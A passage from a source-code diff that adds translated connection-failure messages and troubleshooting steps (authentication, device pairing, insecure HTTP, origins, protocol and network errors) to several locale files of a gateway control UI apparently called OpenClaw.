zostały odrzucone. Najczęstsza przyczyna to nieaktualny token lub token skopiowany z innego URL Gateway.", + stepDashboard: + "Uruchom openclaw dashboard --no-open i otwórz świeży URL albo wklej jego token.", + stepReplace: + "Zastąp nieaktualne wartości tokenu/hasła; nie używaj ponownie tokenu z innego URL Gateway.", + stepMode: + "Używaj naraz jednego pasującego trybu auth: token gateway dla trybu tokenu, hasło dla trybu hasła.", + }, + rateLimited: { + title: "Zbyt wiele nieudanych prób", + summary: "Gateway tymczasowo ogranicza próby uwierzytelniania dla tego klienta.", + stepStop: "Przestań na chwilę ponawiać próby z tej karty.", + stepWait: + "Poczekaj, aż limiter auth ostygnie, a potem połącz się ponownie z poprawionymi poświadczeniami.", + stepCheckClients: + "Jeśli to współdzielony host, sprawdź inne klienty pod kątem powtarzanych błędnych prób.", + }, + pairing: { + title: "Wymagane parowanie urządzenia", + scopeTitle: "Oczekuje podniesienie scope", + roleTitle: "Oczekuje podniesienie roli", + metadataTitle: "Oczekuje odświeżenie urządzenia", + summary: + "Ta przeglądarka wymaga jednorazowej zgody z hosta Gateway, zanim będzie mogła używać Control UI.", + upgradeSummary: + "Ta przeglądarka jest już znana, ale żądany dostęp się zmienił i wymaga nowej zgody.", + stepList: "Uruchom openclaw devices list na hoście Gateway.", + stepApproveId: "Zatwierdź to żądanie: openclaw devices approve {requestId}.", + stepApprove: "Zatwierdź oczekujące żądanie przeglądarki/urządzenia z tej listy.", + stepReconnect: "Po zakończeniu zatwierdzania połącz się ponownie.", + }, + insecure: { + title: "Wymagany bezpieczny kontekst przeglądarki", + summary: + "Ta strona działa przez zwykły HTTP, więc przeglądarka nie może utworzyć tożsamości urządzenia oczekiwanej przez Gateway.", + stepHttps: + "Użyj HTTPS/Tailscale Serve albo otwórz http://127.0.0.1:18789 na hoście Gateway.", + stepLocalCompat: + "Dla lokalnej zgodności tylko z tokenem ustaw gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "Unikaj wyłączania auth urządzenia dla zdalnego dostępu HTTP.", + }, + origin: { + title: "Origin przeglądarki niedozwolony", + summary: "Gateway odrzucił origin tej strony przed zaakceptowaniem połączenia Control UI.", + stepAllowedOrigins: "Dodaj ten origin przeglądarki do gateway.controlUi.allowedOrigins.", + stepFullOrigin: + "Używaj pełnych originów, takich jak http://localhost:5173, nie wzorców wildcard.", + stepRestart: "Po zmianie dozwolonych originów zrestartuj lub przeładuj Gateway.", + }, + protocol: { + title: "Niezgodność protokołu", + summary: + "Udostępniana Control UI i działający Gateway nie zgadzają się co do obsługiwanego protokołu połączenia.", + stepDashboard: + "Otwórz ponownie udostępniany dashboard poleceniem openclaw dashboard, aby UI i Gateway pochodziły z tej samej instalacji.", + stepDevUi: + "Jeśli używasz pnpm ui:dev, przebuduj lub uruchom ponownie UI dev względem bieżącego checkoutu.", + stepRestart: + "Zrestartuj Gateway po aktualizacji OpenClaw, aby udostępniał bieżący protokół.", + }, + network: { + title: "Nie udało się połączyć", + summary: + "Przeglądarka nie mogła dokończyć połączenia z Gateway. Sprawdź cel i transport przed ponowną próbą z poświadczeniami.", + stepGateway: + "Potwierdź, że Gateway działa, używając openclaw status lub openclaw gateway run.", + stepUrl: "Sprawdź URL WebSocket i użyj wss://, gdy Gateway jest za HTTPS/Tailscale Serve.", + stepDashboard: + "Otwórz ponownie dashboard przez openclaw dashboard --no-open, aby skopiować bieżący URL i szczegóły auth.", + }, + }, }, chat: { disconnected: "Rozłączono z Gateway.", diff --git a/ui/src/i18n/locales/pt-BR.ts b/ui/src/i18n/locales/pt-BR.ts index ad0498b9b1f..46aaf8ff55e 100644 --- a/ui/src/i18n/locales/pt-BR.ts +++ b/ui/src/i18n/locales/pt-BR.ts @@ -939,6 +939,94 @@ export const pt_BR: TranslationMap = { showPassword: "Mostrar senha", hidePassword: "Ocultar senha", togglePasswordVisibility: "Alternar visibilidade da senha", + failure: { + rawError: "Erro bruto", + docsAuth: "Documentação de autenticação de Control UI", + docsPairing: "Documentação de pareamento de dispositivos", + docsInsecure: "Documentação de HTTP inseguro", + authRequired: { + title: "Autenticação requerida", + summary: + "O Gateway está acessível, mas precisa de um token ou senha correspondente antes que este navegador possa se conectar.", + stepPaste: "Cole o token de openclaw dashboard --no-open ou informe a senha configurada.", + stepGenerate: + "Se nenhum token estiver configurado, execute openclaw doctor --generate-gateway-token no host do Gateway.", + stepConnect: "Clique em Connect novamente depois de atualizar a credencial.", + }, + authFailed: { + title: "A autenticação não corresponde", + summary: + "A credencial fornecida foi rejeitada. A causa mais comum é um token antigo ou copiado de outro URL de Gateway.", + stepDashboard: "Execute openclaw dashboard --no-open e abra o novo URL ou cole seu token.", + stepReplace: + "Substitua valores antigos de token/senha; não reutilize um token de outro URL de Gateway.", + stepMode: + "Use um único modo de autenticação correspondente por vez: token de gateway para modo token, senha para modo senha.", + }, + rateLimited: { + title: "Muitas tentativas falharam", + summary: + "O Gateway está limitando temporariamente as tentativas de autenticação deste cliente.", + stepStop: "Pare de tentar novamente desta aba por um momento.", + stepWait: + "Aguarde o limitador de autenticação esfriar e reconecte com a credencial corrigida.", + stepCheckClients: + "Se este for um host compartilhado, verifique outros clientes com tentativas incorretas repetidas.", + }, + pairing: { + title: "Pareamento de dispositivo necessário", + scopeTitle: "Atualização de scope pendente", + roleTitle: "Atualização de função pendente", + metadataTitle: "Atualização do dispositivo pendente", + summary: + "Este navegador precisa de uma aprovação única do host do Gateway antes de poder usar o Control UI.", + upgradeSummary: + "Este navegador já é conhecido, mas o acesso solicitado mudou e precisa de uma nova aprovação.", + stepList: "Execute openclaw devices list no host do Gateway.", + stepApproveId: "Aprove esta solicitação: openclaw devices approve {requestId}.", + stepApprove: "Aprove a solicitação pendente de navegador/dispositivo nessa lista.", + stepReconnect: "Reconecte depois que a aprovação for concluída.", + }, + insecure: { + title: "Contexto seguro do navegador necessário", + summary: + "Esta página está sendo executada sobre HTTP simples, então o navegador não consegue criar a identidade de dispositivo que o Gateway espera.", + stepHttps: "Use HTTPS/Tailscale Serve ou abra http://127.0.0.1:18789 no host do Gateway.", + stepLocalCompat: + "Para compatibilidade local somente com token, defina gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "Evite desativar a autenticação de dispositivo para acesso HTTP remoto.", + }, + origin: { + title: "Origem do navegador não permitida", + summary: + "O Gateway rejeitou a origem desta página antes de aceitar a conexão do Control UI.", + stepAllowedOrigins: "Adicione esta origem do navegador a gateway.controlUi.allowedOrigins.", + stepFullOrigin: "Use origens completas como http://localhost:5173, não padrões wildcard.", + stepRestart: "Reinicie ou recarregue o Gateway depois de alterar as origens permitidas.", + }, + protocol: { + title: "Protocolo incompatível", + summary: + "O Control UI servido e o Gateway em execução não concordam sobre o protocolo de conexão compatível.", + stepDashboard: + "Reabra o dashboard servido com openclaw dashboard para que UI e Gateway venham da mesma instalação.", + stepDevUi: + "Se estiver usando pnpm ui:dev, reconstrua ou reinicie a UI de desenvolvimento com o checkout atual.", + stepRestart: + "Reinicie o Gateway depois de atualizar o OpenClaw para que ele sirva o protocolo atual.", + }, + network: { + title: "Não foi possível conectar", + summary: + "O navegador não conseguiu concluir a conexão ao Gateway. Verifique o destino e o transporte antes de tentar credenciais novamente.", + stepGateway: + "Confirme que o Gateway está em execução com openclaw status ou openclaw gateway run.", + stepUrl: + "Verifique o URL de WebSocket e use wss:// quando o Gateway estiver atrás de HTTPS/Tailscale Serve.", + stepDashboard: + "Reabra o dashboard com openclaw dashboard --no-open para copiar novamente o URL atual e os detalhes de auth.", + }, + }, }, chat: { disconnected: "Desconectado do gateway.", diff --git a/ui/src/i18n/locales/th.ts b/ui/src/i18n/locales/th.ts index ceda4eef1ce..db2c2be6dda 100644 --- a/ui/src/i18n/locales/th.ts +++ b/ui/src/i18n/locales/th.ts @@ -923,6 +923,79 @@ export const th: TranslationMap = { showPassword: "แสดงรหัสผ่าน", hidePassword: "ซ่อนรหัสผ่าน", togglePasswordVisibility: "สลับการแสดงรหัสผ่าน", + failure: { + rawError: "ข้อผิดพลาดดิบ", + docsAuth: "เอกสารการยืนยันตัวตนของ Control UI", + docsPairing: "เอกสารการจับคู่อุปกรณ์", + docsInsecure: "เอกสาร HTTP ที่ไม่ปลอดภัย", + authRequired: { + title: "ต้องยืนยันตัวตน", + summary: "เข้าถึง Gateway ได้ แต่ต้องมีโทเค็นหรือรหัสผ่านที่ตรงกันก่อนที่เบราว์เซอร์นี้จะเชื่อมต่อได้", + stepPaste: "วางโทเค็นจาก openclaw dashboard --no-open หรือป้อนรหัสผ่านที่ตั้งค่าไว้", + stepGenerate: + "ถ้ายังไม่ได้ตั้งค่าโทเค็น ให้รัน openclaw doctor --generate-gateway-token บนโฮสต์ Gateway", + stepConnect: "คลิก Connect อีกครั้งหลังจากอัปเดตข้อมูลรับรอง", + }, + authFailed: { + title: "การยืนยันตัวตนไม่ตรงกัน", + summary: "ข้อมูลรับรองที่ให้มาถูกปฏิเสธ สาเหตุที่พบบ่อยคือโทเค็นเก่าหรือโทเค็นที่คัดลอกจาก Gateway URL อื่น", + stepDashboard: "รัน openclaw dashboard --no-open แล้วเปิด URL ใหม่หรือวางโทเค็นของ URL นั้น", + stepReplace: "แทนที่ค่าโทเค็น/รหัสผ่านเก่า อย่าใช้โทเค็นจาก Gateway URL อื่นซ้ำ", + stepMode: + "ใช้โหมด auth ที่ตรงกันทีละโหมด: gateway token สำหรับโหมด token, รหัสผ่านสำหรับโหมด password", + }, + rateLimited: { + title: "พยายามล้มเหลวมากเกินไป", + summary: "Gateway กำลังจำกัดความพยายามยืนยันตัวตนของไคลเอนต์นี้ชั่วคราว", + stepStop: "หยุดลองซ้ำจากแท็บนี้สักครู่", + stepWait: "รอให้ตัวจำกัด auth เย็นลง แล้วเชื่อมต่อใหม่ด้วยข้อมูลรับรองที่แก้ไขแล้ว", + stepCheckClients: "ถ้าเป็นโฮสต์ที่ใช้ร่วมกัน ให้ตรวจสอบไคลเอนต์อื่นที่ลองผิดซ้ำๆ", + }, + pairing: { + title: "ต้องจับคู่อุปกรณ์", + scopeTitle: "การอัปเกรด scope รออนุมัติ", + roleTitle: "การอัปเกรดบทบาทรออนุมัติ", + metadataTitle: "การรีเฟรชอุปกรณ์รออนุมัติ", + summary: "เบราว์เซอร์นี้ต้องได้รับการอนุมัติครั้งเดียวจากโฮสต์ Gateway ก่อนใช้ Control UI", + upgradeSummary: "เบราว์เซอร์นี้เป็นที่รู้จักแล้ว แต่สิทธิ์ที่ขอเปลี่ยนไปและต้องอนุมัติใหม่", + stepList: "รัน openclaw devices list บนโฮสต์ Gateway", + stepApproveId: "อนุมัติคำขอนี้: openclaw devices approve {requestId}.", + stepApprove: "อนุมัติคำขอเบราว์เซอร์/อุปกรณ์ที่รอดำเนินการจากรายการนั้น", + stepReconnect: "เชื่อมต่อใหม่หลังการอนุมัติเสร็จสิ้น", + }, + insecure: { + title: "ต้องใช้บริบทเบราว์เซอร์ที่ปลอดภัย", + summary: "หน้านี้ทำงานผ่าน HTTP ธรรมดา เบราว์เซอร์จึงสร้างตัวตนอุปกรณ์ที่ Gateway คาดหวังไม่ได้", + stepHttps: "ใช้ HTTPS/Tailscale Serve หรือเปิด http://127.0.0.1:18789 บนโฮสต์ Gateway", + stepLocalCompat: + "สำหรับความเข้ากันได้เฉพาะโทเค็นในเครื่อง ให้ตั้ง gateway.controlUi.allowInsecureAuth: true", + stepAvoidDisable: "หลีกเลี่ยงการปิด auth อุปกรณ์สำหรับการเข้าถึง HTTP ระยะไกล", + }, + origin: { + title: "ไม่อนุญาต origin ของเบราว์เซอร์", + summary: "Gateway ปฏิเสธ origin ของหน้านี้ก่อนรับการเชื่อมต่อ Control UI", + stepAllowedOrigins: "เพิ่ม origin ของเบราว์เซอร์นี้ใน gateway.controlUi.allowedOrigins", + stepFullOrigin: "ใช้ origin แบบเต็ม เช่น http://localhost:5173 ไม่ใช่รูปแบบ wildcard", + stepRestart: "รีสตาร์ทหรือโหลด Gateway ใหม่หลังเปลี่ยน origin ที่อนุญาต", + }, + protocol: { + title: "โปรโตคอลไม่ตรงกัน", + summary: "Control UI ที่เสิร์ฟอยู่และ Gateway ที่ทำงานอยู่ไม่ตรงกันเรื่องโปรโตคอลการเชื่อมต่อที่รองรับ", + stepDashboard: + "เปิด dashboard ที่เสิร์ฟอีกครั้งด้วย openclaw dashboard เพื่อให้ UI และ Gateway มาจากการติดตั้งเดียวกัน", + stepDevUi: "ถ้าใช้ pnpm ui:dev ให้ build ใหม่หรือรีสตาร์ท UI dev กับ checkout ปัจจุบัน", + stepRestart: "รีสตาร์ท Gateway หลังอัปเดต OpenClaw เพื่อให้เสิร์ฟโปรโตคอลปัจจุบัน", + }, + network: { + title: "เชื่อมต่อไม่ได้", + summary: + "เบราว์เซอร์ไม่สามารถเชื่อมต่อ Gateway ให้เสร็จสมบูรณ์ได้ ตรวจสอบเป้าหมายและ transport ก่อนลองข้อมูลรับรองอีกครั้ง", + stepGateway: "ยืนยันว่า Gateway กำลังทำงานด้วย openclaw status หรือ openclaw gateway run", + stepUrl: "ตรวจสอบ WebSocket URL และใช้ wss:// เมื่อ Gateway อยู่หลัง HTTPS/Tailscale Serve", + stepDashboard: + "เปิด dashboard อีกครั้งด้วย openclaw dashboard --no-open เพื่อคัดลอก URL และรายละเอียด auth ปัจจุบันใหม่", + }, + }, }, chat: { disconnected: "ตัดการเชื่อมต่อจากเกตเวย์แล้ว", diff --git a/ui/src/i18n/locales/tr.ts b/ui/src/i18n/locales/tr.ts index a90088516dc..13fb4cb2cee 100644 --- a/ui/src/i18n/locales/tr.ts +++ b/ui/src/i18n/locales/tr.ts @@ -942,6 +942,97 @@ export const tr: TranslationMap = { showPassword: "Parolayı göster", hidePassword: "Parolayı gizle", togglePasswordVisibility: "Parola görünürlüğünü değiştir", + failure: { + rawError: "Ham hata", + docsAuth: "Control UI kimlik doğrulama belgeleri", + docsPairing: "Cihaz eşleştirme belgeleri", + docsInsecure: "Güvensiz HTTP belgeleri", + authRequired: { + title: "Kimlik doğrulama gerekli", + summary: + "Gateway erişilebilir, ancak bu tarayıcı bağlanmadan önce eşleşen bir token veya parola gerekir.", + stepPaste: + "openclaw dashboard --no-open çıktısındaki tokenı yapıştırın veya yapılandırılmış parolayı girin.", + stepGenerate: + "Token yapılandırılmamışsa Gateway ana makinesinde openclaw doctor --generate-gateway-token çalıştırın.", + stepConnect: "Kimlik bilgisini güncelledikten sonra Connect düğmesine tekrar tıklayın.", + }, + authFailed: { + title: "Kimlik doğrulama eşleşmedi", + summary: + "Sağlanan kimlik bilgisi reddedildi. En yaygın neden eski bir token veya başka bir Gateway URL’sinden kopyalanmış tokendır.", + stepDashboard: + "openclaw dashboard --no-open çalıştırın ve yeni URL’yi açın veya tokenını yapıştırın.", + stepReplace: + "Eski token/parola değerlerini değiştirin; başka bir Gateway URL’sinden tokenı yeniden kullanmayın.", + stepMode: + "Aynı anda tek bir eşleşen auth modu kullanın: token modu için gateway token, parola modu için parola.", + }, + rateLimited: { + title: "Çok fazla başarısız deneme", + summary: "Gateway bu istemci için kimlik doğrulama denemelerini geçici olarak sınırlıyor.", + stepStop: "Bu sekmeden bir süre yeniden denemeyi bırakın.", + stepWait: + "Auth sınırlayıcının soğumasını bekleyin, ardından düzeltilmiş kimlik bilgisiyle yeniden bağlanın.", + stepCheckClients: + "Bu paylaşılan bir host ise diğer istemcilerde yinelenen hatalı denemeleri kontrol edin.", + }, + pairing: { + title: "Cihaz eşleştirmesi gerekli", + scopeTitle: "Scope yükseltmesi bekliyor", + roleTitle: "Rol yükseltmesi bekliyor", + metadataTitle: "Cihaz yenilemesi bekliyor", + summary: + "Bu tarayıcının Control UI kullanabilmesi için Gateway hostundan tek seferlik onay gerekir.", + upgradeSummary: + "Bu tarayıcı zaten biliniyor, ancak istenen erişim değişti ve yeni onay gerekiyor.", + stepList: "Gateway hostunda openclaw devices list çalıştırın.", + stepApproveId: "Bu isteği onaylayın: openclaw devices approve {requestId}.", + stepApprove: "Bu listedeki bekleyen tarayıcı/cihaz isteğini onaylayın.", + stepReconnect: "Onay tamamlandıktan sonra yeniden bağlanın.", + }, + insecure: { + title: "Güvenli tarayıcı bağlamı gerekli", + summary: + "Bu sayfa düz HTTP üzerinden çalışıyor, bu yüzden tarayıcı Gateway’in beklediği cihaz kimliğini oluşturamıyor.", + stepHttps: + "HTTPS/Tailscale Serve kullanın veya Gateway hostunda http://127.0.0.1:18789 adresini açın.", + stepLocalCompat: + "Yerel yalnızca-token uyumluluğu için gateway.controlUi.allowInsecureAuth: true ayarlayın.", + stepAvoidDisable: "Uzak HTTP erişimi için cihaz authunu devre dışı bırakmaktan kaçının.", + }, + origin: { + title: "Tarayıcı originine izin verilmiyor", + summary: "Gateway, Control UI bağlantısını kabul etmeden önce bu sayfa originini reddetti.", + stepAllowedOrigins: "Bu tarayıcı originini gateway.controlUi.allowedOrigins içine ekleyin.", + stepFullOrigin: + "http://localhost:5173 gibi tam originler kullanın, wildcard kalıpları kullanmayın.", + stepRestart: + "İzin verilen originleri değiştirdikten sonra Gateway’i yeniden başlatın veya yeniden yükleyin.", + }, + protocol: { + title: "Protokol uyuşmazlığı", + summary: + "Sunulan Control UI ile çalışan Gateway desteklenen bağlantı protokolü konusunda uyuşmuyor.", + stepDashboard: + "UI ve Gateway aynı kurulumdan gelsin diye sunulan dashboardı openclaw dashboard ile yeniden açın.", + stepDevUi: + "pnpm ui:dev kullanıyorsanız geliştirme UI’sini mevcut checkouta göre yeniden derleyin veya yeniden başlatın.", + stepRestart: + "OpenClaw güncellemesinden sonra Gateway’i yeniden başlatın, böylece güncel protokolü sunsun.", + }, + network: { + title: "Bağlanılamadı", + summary: + "Tarayıcı Gateway bağlantısını tamamlayamadı. Kimlik bilgilerini yeniden denemeden önce hedefi ve taşıma yolunu kontrol edin.", + stepGateway: + "openclaw status veya openclaw gateway run ile Gateway’in çalıştığını doğrulayın.", + stepUrl: + "WebSocket URL’sini kontrol edin ve Gateway HTTPS/Tailscale Serve arkasındaysa wss:// kullanın.", + stepDashboard: + "Geçerli URL ve auth ayrıntılarını yeniden kopyalamak için dashboardı openclaw dashboard --no-open ile yeniden açın.", + }, + }, }, chat: { disconnected: "Gateway bağlantısı kesildi.", diff --git a/ui/src/i18n/locales/uk.ts b/ui/src/i18n/locales/uk.ts index d5d3bff8ca2..28c7493048e 100644 --- a/ui/src/i18n/locales/uk.ts +++ b/ui/src/i18n/locales/uk.ts @@ -941,6 +941,95 @@ export const uk: TranslationMap = { showPassword: "Показати пароль", hidePassword: "Приховати пароль", togglePasswordVisibility: "Перемкнути видимість пароля", + failure: { + rawError: "Сирий текст помилки", + docsAuth: "Документація автентифікації Control UI", + docsPairing: "Документація сполучення пристрою", + docsInsecure: "Документація небезпечного HTTP", + authRequired: { + title: "Потрібна автентифікація", + summary: + "Gateway доступний, але цьому браузеру потрібен відповідний токен або пароль перед підключенням.", + stepPaste: "Вставте токен з openclaw dashboard --no-open або введіть налаштований пароль.", + stepGenerate: + "Якщо токен не налаштовано, виконайте openclaw doctor --generate-gateway-token на хості Gateway.", + stepConnect: "Після оновлення облікових даних знову натисніть Connect.", + }, + authFailed: { + title: "Автентифікація не збігається", + summary: + "Надані облікові дані відхилено. Найпоширеніша причина — застарілий токен або токен, скопійований з іншого Gateway URL.", + stepDashboard: + "Виконайте openclaw dashboard --no-open і відкрийте свіжий URL або вставте його токен.", + stepReplace: + "Замініть застарілі значення токена/пароля; не використовуйте повторно токен з іншого Gateway URL.", + stepMode: + "Використовуйте один відповідний режим auth за раз: gateway token для режиму token, пароль для режиму password.", + }, + rateLimited: { + title: "Забагато невдалих спроб", + summary: "Gateway тимчасово обмежує спроби автентифікації для цього клієнта.", + stepStop: "На мить припиніть повторні спроби з цієї вкладки.", + stepWait: + "Зачекайте, доки auth-обмежувач охолоне, а потім підключіться з виправленими обліковими даними.", + stepCheckClients: + "Якщо це спільний хост, перевірте інші клієнти на повторювані помилкові спроби.", + }, + pairing: { + title: "Потрібне сполучення пристрою", + scopeTitle: "Оновлення scope очікує", + roleTitle: "Оновлення ролі очікує", + metadataTitle: "Оновлення пристрою очікує", + summary: + "Цей браузер потребує одноразового схвалення від хоста Gateway перед використанням Control UI.", + upgradeSummary: + "Цей браузер уже відомий, але запитаний доступ змінився і потребує нового схвалення.", + stepList: "Виконайте openclaw devices list на хості Gateway.", + stepApproveId: "Схваліть цей запит: openclaw devices approve {requestId}.", + stepApprove: "Схваліть запит браузера/пристрою, що очікує, з цього списку.", + stepReconnect: "Підключіться знову після завершення схвалення.", + }, + insecure: { + title: "Потрібен безпечний контекст браузера", + summary: + "Ця сторінка працює через звичайний HTTP, тому браузер не може створити ідентичність пристрою, яку очікує Gateway.", + stepHttps: + "Використовуйте HTTPS/Tailscale Serve або відкрийте http://127.0.0.1:18789 на хості Gateway.", + stepLocalCompat: + "Для локальної сумісності лише з токеном задайте gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "Уникайте вимкнення auth пристрою для віддаленого HTTP-доступу.", + }, + origin: { + title: "Origin браузера не дозволено", + summary: "Gateway відхилив origin цієї сторінки до прийняття з’єднання Control UI.", + stepAllowedOrigins: "Додайте цей origin браузера до gateway.controlUi.allowedOrigins.", + stepFullOrigin: + "Використовуйте повні origin, наприклад http://localhost:5173, а не wildcard-шаблони.", + stepRestart: "Перезапустіть або перезавантажте Gateway після зміни дозволених origin.", + }, + protocol: { + title: "Невідповідність протоколу", + summary: + "Надана Control UI і запущений Gateway не узгоджуються щодо підтримуваного протоколу з’єднання.", + stepDashboard: + "Знову відкрийте наданий dashboard через openclaw dashboard, щоб UI і Gateway походили з однієї інсталяції.", + stepDevUi: + "Якщо використовуєте pnpm ui:dev, перебудуйте або перезапустіть dev UI з поточного checkout.", + stepRestart: + "Перезапустіть Gateway після оновлення OpenClaw, щоб він надавав поточний протокол.", + }, + network: { + title: "Не вдалося підключитися", + summary: + "Браузер не зміг завершити з’єднання з Gateway. Перевірте ціль і транспорт перед повторною спробою з обліковими даними.", + stepGateway: + "Підтвердьте, що Gateway працює, через openclaw status або openclaw gateway run.", + stepUrl: + "Перевірте WebSocket URL і використовуйте wss://, коли Gateway знаходиться за HTTPS/Tailscale Serve.", + stepDashboard: + "Знову відкрийте dashboard через openclaw dashboard --no-open, щоб повторно скопіювати поточний URL і деталі auth.", + }, + }, }, chat: { disconnected: "Відключено від шлюзу.", diff --git a/ui/src/i18n/locales/vi.ts b/ui/src/i18n/locales/vi.ts index a948222ce39..8ab0fe7dc98 100644 --- a/ui/src/i18n/locales/vi.ts +++ b/ui/src/i18n/locales/vi.ts @@ -934,6 +934,90 @@ export const vi: TranslationMap = { showPassword: "Hiển thị mật khẩu", hidePassword: "Ẩn mật khẩu", togglePasswordVisibility: "Bật/tắt hiển thị mật khẩu", + failure: { + rawError: "Lỗi thô", + docsAuth: "Tài liệu xác thực Control UI", + docsPairing: "Tài liệu ghép đôi thiết bị", + docsInsecure: "Tài liệu HTTP không an toàn", + authRequired: { + title: "Cần xác thực", + summary: + "Gateway có thể truy cập được, nhưng cần token hoặc mật khẩu khớp trước khi trình duyệt này có thể kết nối.", + stepPaste: "Dán token từ openclaw dashboard --no-open hoặc nhập mật khẩu đã cấu hình.", + stepGenerate: + "Nếu chưa cấu hình token, hãy chạy openclaw doctor --generate-gateway-token trên máy chủ Gateway.", + stepConnect: "Nhấp Connect lần nữa sau khi cập nhật thông tin xác thực.", + }, + authFailed: { + title: "Xác thực không khớp", + summary: + "Thông tin xác thực đã cung cấp bị từ chối. Nguyên nhân phổ biến nhất là token cũ hoặc token sao chép từ một Gateway URL khác.", + stepDashboard: "Chạy openclaw dashboard --no-open rồi mở URL mới hoặc dán token của nó.", + stepReplace: + "Thay các giá trị token/mật khẩu cũ; không dùng lại token từ Gateway URL khác.", + stepMode: + "Mỗi lần chỉ dùng một chế độ auth khớp: gateway token cho chế độ token, mật khẩu cho chế độ password.", + }, + rateLimited: { + title: "Quá nhiều lần thử thất bại", + summary: "Gateway đang tạm thời giới hạn các lần thử xác thực cho client này.", + stepStop: "Tạm dừng thử lại từ tab này trong giây lát.", + stepWait: "Chờ bộ giới hạn auth hạ nhiệt, rồi kết nối lại bằng thông tin xác thực đã sửa.", + stepCheckClients: + "Nếu đây là máy chủ dùng chung, hãy kiểm tra các client khác có thử sai lặp lại không.", + }, + pairing: { + title: "Cần ghép đôi thiết bị", + scopeTitle: "Nâng cấp scope đang chờ", + roleTitle: "Nâng cấp vai trò đang chờ", + metadataTitle: "Làm mới thiết bị đang chờ", + summary: + "Trình duyệt này cần phê duyệt một lần từ máy chủ Gateway trước khi dùng Control UI.", + upgradeSummary: + "Trình duyệt này đã được biết đến, nhưng quyền truy cập yêu cầu đã thay đổi và cần phê duyệt mới.", + stepList: "Chạy openclaw devices list trên máy chủ Gateway.", + stepApproveId: "Phê duyệt yêu cầu này: openclaw devices approve {requestId}.", + stepApprove: "Phê duyệt yêu cầu trình duyệt/thiết bị đang chờ trong danh sách đó.", + stepReconnect: "Kết nối lại sau khi phê duyệt hoàn tất.", + }, + insecure: { + title: "Cần ngữ cảnh trình duyệt an toàn", + summary: + "Trang này đang chạy qua HTTP thường, nên trình duyệt không thể tạo danh tính thiết bị mà Gateway mong đợi.", + stepHttps: + "Dùng HTTPS/Tailscale Serve, hoặc mở http://127.0.0.1:18789 trên máy chủ Gateway.", + stepLocalCompat: + "Để tương thích cục bộ chỉ dùng token, đặt gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "Tránh tắt auth thiết bị cho truy cập HTTP từ xa.", + }, + origin: { + title: "Origin trình duyệt không được phép", + summary: "Gateway đã từ chối origin của trang này trước khi chấp nhận kết nối Control UI.", + stepAllowedOrigins: "Thêm origin trình duyệt này vào gateway.controlUi.allowedOrigins.", + stepFullOrigin: "Dùng origin đầy đủ như http://localhost:5173, không dùng mẫu wildcard.", + stepRestart: "Khởi động lại hoặc tải lại Gateway sau khi thay đổi origin được phép.", + }, + protocol: { + title: "Không khớp giao thức", + summary: + "Control UI được phục vụ và Gateway đang chạy không thống nhất về giao thức kết nối được hỗ trợ.", + stepDashboard: + "Mở lại dashboard được phục vụ bằng openclaw dashboard để UI và Gateway đến từ cùng một bản cài đặt.", + stepDevUi: + "Nếu dùng pnpm ui:dev, hãy build lại hoặc khởi động lại UI dev theo checkout hiện tại.", + stepRestart: + "Khởi động lại Gateway sau khi cập nhật OpenClaw để nó phục vụ giao thức hiện tại.", + }, + network: { + title: "Không thể kết nối", + summary: + "Trình duyệt không thể hoàn tất kết nối Gateway. Kiểm tra đích và transport trước khi thử lại thông tin xác thực.", + stepGateway: "Xác nhận Gateway đang chạy bằng openclaw status hoặc openclaw gateway run.", + stepUrl: "Kiểm tra WebSocket URL và dùng wss:// khi Gateway nằm sau HTTPS/Tailscale Serve.", + stepDashboard: + "Mở lại dashboard bằng openclaw dashboard --no-open để sao chép lại URL và chi tiết auth hiện tại.", + }, + }, }, chat: { disconnected: "Đã ngắt kết nối khỏi gateway.", diff --git a/ui/src/i18n/locales/zh-CN.ts b/ui/src/i18n/locales/zh-CN.ts index 43889510a1a..78e0a53e32f 100644 --- a/ui/src/i18n/locales/zh-CN.ts +++ b/ui/src/i18n/locales/zh-CN.ts @@ -922,6 +922,76 @@ export const zh_CN: TranslationMap = { showPassword: "显示密码", hidePassword: "隐藏密码", togglePasswordVisibility: "切换密码可见性", + failure: { + rawError: "原始错误", + docsAuth: "Control UI 认证文档", + docsPairing: "设备配对文档", + docsInsecure: "不安全 HTTP 文档", + authRequired: { + title: "需要认证", + summary: "Gateway 可以访问,但此浏览器连接前需要匹配的令牌或密码。", + stepPaste: "粘贴 openclaw dashboard --no-open 提供的令牌,或输入已配置的密码。", + stepGenerate: + "如果未配置令牌,请在 Gateway 主机上运行 openclaw doctor --generate-gateway-token。", + stepConnect: "更新凭据后再次点击 Connect。", + }, + authFailed: { + title: "认证不匹配", + summary: "提供的凭据被拒绝。最常见原因是令牌已过期,或令牌来自另一个 Gateway URL。", + stepDashboard: "运行 openclaw dashboard --no-open 并打开新的 URL,或粘贴其中的令牌。", + stepReplace: "替换过期的令牌/密码;不要复用另一个 Gateway URL 的令牌。", + stepMode: "一次只使用一种匹配的认证模式:令牌模式使用 gateway token,密码模式使用密码。", + }, + rateLimited: { + title: "失败尝试过多", + summary: "Gateway 正在临时限制此客户端的认证尝试。", + stepStop: "暂时停止从此标签页重试。", + stepWait: "等待认证限制器冷却,然后使用修正后的凭据重新连接。", + stepCheckClients: "如果这是共享主机,请检查其他客户端是否在重复错误重试。", + }, + pairing: { + title: "需要设备配对", + scopeTitle: "Scope 升级待批准", + roleTitle: "角色升级待批准", + metadataTitle: "设备刷新待批准", + summary: "此浏览器需要 Gateway 主机的一次性批准后才能使用 Control UI。", + upgradeSummary: "此浏览器已知,但请求的访问权限已变更,需要重新批准。", + stepList: "在 Gateway 主机上运行 openclaw devices list。", + stepApproveId: "批准此请求:openclaw devices approve {requestId}。", + stepApprove: "从该列表批准待处理的浏览器/设备请求。", + stepReconnect: "批准完成后重新连接。", + }, + insecure: { + title: "需要安全浏览器上下文", + summary: "此页面通过普通 HTTP 运行,因此浏览器无法创建 Gateway 期望的设备身份。", + stepHttps: "使用 HTTPS/Tailscale Serve,或在 Gateway 主机上打开 http://127.0.0.1:18789。", + stepLocalCompat: "如需本地仅令牌兼容,设置 gateway.controlUi.allowInsecureAuth: true。", + stepAvoidDisable: "避免为远程 HTTP 访问禁用设备认证。", + }, + origin: { + title: "浏览器来源不被允许", + summary: "Gateway 在接受 Control UI 连接前拒绝了此页面来源。", + stepAllowedOrigins: "将此浏览器来源添加到 